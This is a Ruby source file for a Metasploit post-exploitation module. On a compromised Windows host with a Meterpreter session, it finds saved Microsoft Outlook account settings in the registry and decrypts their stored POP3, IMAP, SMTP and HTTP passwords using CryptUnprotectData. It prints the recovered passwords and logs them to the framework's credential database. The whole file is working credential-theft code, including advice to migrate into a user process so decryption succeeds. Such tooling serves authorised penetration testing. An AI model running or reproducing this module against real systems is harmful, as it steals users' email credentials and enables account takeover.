# $Id: outlook.rb 14835 2012-03-01 22:15:05Z rapid7 $ ## # This file is part of the Metasploit Framework and may be subject to # redistribution and commercial restrictions. Please see the Metasploit # web site for more information on licensing and terms of use. # http://metasploit.com/ ## require 'msf/core' require 'rex' require 'msf/core/post/windows/registry' require 'msf/core/post/windows/priv' require 'msf/core/auxiliary/report' class Metasploit3 < Msf::Post include Msf::Post::Windows::Registry include Msf::Post::Windows::Priv include Msf::Auxiliary::Report def initialize(info={}) super( update_info( info, 'Name' => 'Windows Gather Microsoft Outlook Saved Password Extraction', 'Description' => %q{ This module extracts and decrypts saved Microsoft Outlook (versions 2002-2010) passwords from the Windows Registry for POP3/IMAP/SMTP/HTTP accounts. In order for decryption to be successful, this module must be executed under the same privileges as the user which originally encrypted the password. }, 'License' => MSF_LICENSE, 'Author' => [ 'Justin Cacak'], 'Version' => '$Revision$', 'Platform' => [ 'win' ], 'SessionTypes' => [ 'meterpreter' ] )) end def prepare_railgun rg = session.railgun if (!rg.get_dll('crypt32')) rg.add_dll('crypt32') end end def decrypt_password(data) rg = session.railgun pid = client.sys.process.getpid process = client.sys.process.open(pid, PROCESS_ALL_ACCESS) mem = process.memory.allocate(128) process.memory.write(mem, data) if session.sys.process.each_process.find { |i| i["pid"] == pid} ["arch"] == "x86" addr = [mem].pack("V") len = [data.length].pack("V") ret = rg.crypt32.CryptUnprotectData("#{len}#{addr}", 16, nil, nil, nil, 0, 8) #print_status("#{ret.inspect}") len, addr = ret["pDataOut"].unpack("V2") else addr = [mem].pack("Q") len = [data.length].pack("Q") ret = rg.crypt32.CryptUnprotectData("#{len}#{addr}", 16, nil, nil, nil, 0, 16) len, addr = ret["pDataOut"].unpack("Q2") end return "" if len == 0 decrypted_pw = process.memory.read(addr, len) return decrypted_pw end # Just a wrapper to avoid copy pasta and long lines def get_valdata(k, name) @key_base = "HKCU\\Software\\Microsoft\\Windows NT\\CurrentVersion\\Windows Messaging Subsystem\\Profiles\\Outlook\\9375CFF0413111d3B88A00104B2A6676" registry_getvaldata("#{@key_base}\\#{k}", name) end def get_registry #Determine if saved accounts exist within Outlook. Ignore the Address Book and Personal Folder registry entries. outlook_exists = 0 saved_accounts = 0 next_account_id = get_valdata("", 'NextAccountID') if next_account_id != nil #Microsoft Outlook not found print_status "Microsoft Outlook found in Registry..." outlook_exists = 1 registry_enumkeys(@key_base).each do |k| display_name = get_valdata(k, 'Display Name') if display_name == nil #Microsoft Outlook found, but no account data saved in this location next end #Account found - parse through registry data to determine account type. Parse remaining registry data after to speed up module. saved_accounts = 1 got_user_pw = 0 accountname = get_valdata(k, 'Account Name') displayname = get_valdata(k, 'Display Name') email = get_valdata(k, 'Email') pop3_server = get_valdata(k, 'POP3 Server') smtp_server = get_valdata(k, 'SMTP Server') http_server_url = get_valdata(k, 'HTTP Server URL') imap_server = get_valdata(k, 'IMAP Server') smtp_use_auth = get_valdata(k, 'SMTP Use Auth') if smtp_use_auth != nil smtp_user = get_valdata(k, 'SMTP User') smtp_password = get_valdata(k, 'SMTP Password') smtp_auth_method = get_valdata(k, 'SMTP Auth Method') end if pop3_server != nil type = "POP3" elsif http_server_url != nil type = "HTTP" elsif imap_server != nil type = "IMAP" else type = "UNKNOWN" end #Decrypt password and output results. Need to do each separately due to the way Microsoft stores them. print_good("Account Found:") print_status(" Type: #{type}") print_status(" User Display Name: #{displayname}") print_status(" User E-mail Address: #{email}") if type == "POP3" pop3_pw = get_valdata(k, 'POP3 Password') pop3_user = get_valdata(k, 'POP3 User') pop3_use_spa = get_valdata(k, 'POP3 Use SPA') smtp_port = get_valdata(k, 'SMTP Port') print_status(" User Name: #{pop3_user}") if pop3_pw == nil print_status(" User Password: ") else pop3_pw.slice!(0,1) pass = decrypt_password(pop3_pw) print_status(" User Password: #{pass}") # Prepare data for report_auth_info got_user_pw = 1 host = pop3_server user = pop3_user end if pop3_use_spa != nil #Account for SPA (NTLM auth) print_status(" Secure Password Authentication (SPA): Enabled") end print_status(" Incoming Mail Server (POP3): #{pop3_server}") pop3_use_ssl = get_valdata(k, 'POP3 Use SSL') if pop3_use_ssl == nil print_status(" POP3 Use SSL: No") else print_status(" POP3 Use SSL: Yes") end pop3_port = get_valdata(k, 'POP3 Port') if pop3_port == nil print_status(" POP3 Port: 110") portnum = 110 else print_status(" POP3 Port: #{pop3_port}") portnum = pop3_port end if smtp_use_auth == nil # Account for SMTP servers requiring authentication print_status(" Outgoing Mail Server (SMTP): #{smtp_server}") else print_status(" Outgoing Mail Server (SMTP): #{smtp_server} [Authentication Required]") # Check if smtp_auth_method is null. If so, the inbound credentials are utilized if smtp_auth_method == nil smtp_user = pop3_user smtp_decrypted_password = pass else smtp_password.slice!(0,1) smtp_decrypted_password = decrypt_password(smtp_password) end print_status(" Outgoing Mail Server (SMTP) User Name: #{smtp_user}") print_status(" Outgoing Mail Server (SMTP) Password: #{smtp_decrypted_password}") end smtp_use_ssl = get_valdata(k, 'SMTP Use SSL') if smtp_use_ssl == nil print_status(" SMTP Use SSL: No") else print_status(" SMTP Use SSL: Yes") end if smtp_port == nil print_status(" SMTP Port: 25") smtp_port = 25 else print_status(" SMTP Port: #{smtp_port}") end elsif type == "HTTP" http_password = get_valdata(k, 'HTTP Password') http_user = get_valdata(k, 'HTTP User') http_use_spa = get_valdata(k, 'HTTP Use SPA') print_status(" User Name: #{http_user}") if http_password == nil print_status(" User Password: ") else http_password.slice!(0,1) pass = decrypt_password(http_password) print_status(" User Password: #{pass}") got_user_pw = 1 host = http_server_url user = http_user #Detect 80 or 443 for report_auth_info http_server_url.downcase! if http_server_url.include? "h\x00t\x00t\x00p\x00s" portnum = 443 else portnum = 80 end end if http_use_spa != nil #Account for SPA (NTLM auth) print_status(" Secure Password Authentication (SPA): Enabled") end print_status(" HTTP Server URL: #{http_server_url}") elsif type == "IMAP" imap_user = get_valdata(k, 'IMAP User') imap_use_spa = get_valdata(k, 'IMAP Use SPA') imap_password = get_valdata(k, 'IMAP Password') smtp_port = get_valdata(k, 'SMTP Port') print_status(" User Name: #{imap_user}") if imap_password == nil print_status(" User Password: ") else imap_password.slice!(0,1) pass = decrypt_password(imap_password) print_status(" User Password: #{pass}") got_user_pw = 1 host = imap_server user = imap_user end if imap_use_spa != nil #Account for SPA (NTLM auth) print_status(" Secure Password Authentication (SPA): Enabled") end print_status(" Incoming Mail Server (IMAP): #{imap_server}") imap_use_ssl = get_valdata(k, 'IMAP Use SSL') if imap_use_ssl == nil print_status(" IMAP Use SSL: No") else print_status(" IMAP Use SSL: Yes") end imap_port = get_valdata(k, 'IMAP Port') if imap_port == nil print_status(" IMAP Port: 143") portnum = 143 else print_status(" IMAP Port: #{imap_port}") portnum = imap_port end if smtp_use_auth == nil # Account for SMTP servers requiring authentication print_status(" Outgoing Mail Server (SMTP): #{smtp_server}") else print_status(" Outgoing Mail Server (SMTP): #{smtp_server} [Authentication Required]") # Check if smtp_auth_method is null. If so, the inbound credentials are utilized if smtp_auth_method == nil smtp_user = imap_user smtp_decrypted_password = pass else smtp_password.slice!(0,1) smtp_decrypted_password = decrypt_password(smtp_password) end print_status(" Outgoing Mail Server (SMTP) User Name: #{smtp_user}") print_status(" Outgoing Mail Server (SMTP) Password: #{smtp_decrypted_password}") end smtp_use_ssl = get_valdata(k, 'SMTP Use SSL') if smtp_use_ssl == nil print_status(" SMTP Use SSL: No") else print_status(" SMTP Use SSL: Yes") end if smtp_port == nil print_status(" SMTP Port: 25") smtp_port = 25 else print_status(" SMTP Port: #{smtp_port}") end end if got_user_pw == 1 if session.db_record source_id = session.db_record.id else source_id = nil end report_auth_info( :host => host, :port => portnum, :sname => type, :source_id => source_id, :source_type => "exploit", :user => user, :pass => pass) #print_status("CHK report_auth_info: host = #{host}, port= #{portnum}, sname= #{type}, user= #{user}, pass= #{pass}") end if smtp_use_auth != nil if session.db_record source_id = session.db_record.id else source_id = nil end report_auth_info( :host => smtp_server, :port => smtp_port, :sname => "smtp", :source_id => source_id, :source_type => "exploit", :user => smtp_user, :pass => smtp_decrypted_password) #print_status("SMTP report_auth_info: host = #{smtp_server}, port= #{smtp_port}, sname= SMTP, user= #{smtp_user}, pass= #{smtp_decrypted_password}") end print_status("") end end if outlook_exists == 0 print_status("Microsoft Outlook not installed.") elsif saved_accounts == 0 print_status("Microsoft Outlook installed however no accounts stored in Registry.") end end def run uid = session.sys.config.getuid # Get uid. Decryption will only work if executed under the same user account as the password was encrypted. if is_system? print_error("This module is running under #{uid}.") print_error("Automatic decryption will not be possible.") print_error("Migrate to a user process to achieve successful decryption (e.g. explorer.exe).") else print_status("Searching for Microsoft Outlook in Registry...") prepare_railgun get_registry() end print_status("Complete") end end